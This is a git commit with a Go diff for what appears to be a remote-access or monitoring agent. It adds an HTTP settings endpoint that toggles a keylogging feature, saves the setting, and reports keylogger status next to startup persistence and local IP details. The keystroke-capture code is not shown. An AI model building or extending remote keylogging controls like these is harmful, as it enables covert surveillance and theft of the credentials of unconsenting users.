feat(agent): add persistent klogging settings

- Add settings API and UI to toggle keylog
- Persist preference in settings.json
- Expose klogging state in status endpoint
- Inject build version into web console
- Bump version automatically on build

lib/agent/handlers.go

@@ -56,6 +56,7 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
 		"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
 		"agent_version": config.Version, "listen_address": a.addr,
 		"startup_enabled": startup.Enabled(),
+		"klogging":        keylog.Running(),
 	})
 }
 
@@ -80,6 +81,38 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
 	helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
 }
 
+func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) {
+	switch r.Method {
+	case http.MethodGet:
+		helpers.WriteJSON(w, http.StatusOK, map[string]any{
+			"klogging":         config.KeylogEnabled(),
+			"klogging_running": keylog.Running(),
+		})
+	case http.MethodPut:
+		r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
+		defer r.Body.Close()
+		var body struct {
+			Klogging *bool `json:"klogging"`
+		}
+		if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Klogging == nil {
+			helpers.WriteError(w, http.StatusBadRequest, "klogging is required")
+			return
+		}
+		if err := keylog.SetEnabled(*body.Klogging); err != nil {
+			helpers.Log.Printf("klogging set: %v", err)
+			helpers.WriteError(w, http.StatusInternalServerError, "could not update klogging")
+			return
+		}
+		helpers.WriteJSON(w, http.StatusOK, map[string]any{
+			"klogging":         config.KeylogEnabled(),
+			"klogging_running": keylog.Running(),
+		})
+	default:
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+}
+
 func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
 	switch r.Method {
 	case http.MethodGet: